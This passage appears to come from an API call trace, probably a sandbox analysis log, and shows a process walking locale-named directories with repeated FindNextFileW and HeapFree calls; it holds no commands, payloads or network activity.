ftLastAccessTime.dwLowDateTime=0x3c8a30fc, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c8a30fc, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UNP", cAlternateFileName="")) returned 1 [0082.105] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.105] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0082.105] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.105] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1 [0082.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.106] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0082.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.106] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0082.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.106] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0082.107] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.107] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1 [0082.107] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.107] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1 [0082.107] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.107] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0082.107] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.107] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0082.108] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.108] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1 [0082.108] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.108] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1 [0082.108] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.108] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0082.108] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.109] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1 [0082.109] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.109] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1 [0082.109] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.109] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1 [0082.109] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.109] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1 [0082.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.110] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1 [0082.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.110] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1 [0082.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.110] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1 [0082.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.110] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0082.111] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.111] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1 [0082.111] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.111] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1 [0082.111] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.111] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1 [0082.112] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.112] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1 [0082.112] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.112] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0082.112] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.112] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0082.112] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.112] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1 [0082.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.113] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1 [0082.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.113] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0082.113] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.113] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1 [0082.114] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.480] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0082.481] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.481] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1 [0082.481] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.481] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0082.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.482] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1 [0082.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.482] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0082.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.482] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1 [0082.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.482] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1 [0082.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.483] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0082.484] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.484] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0082.484] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: 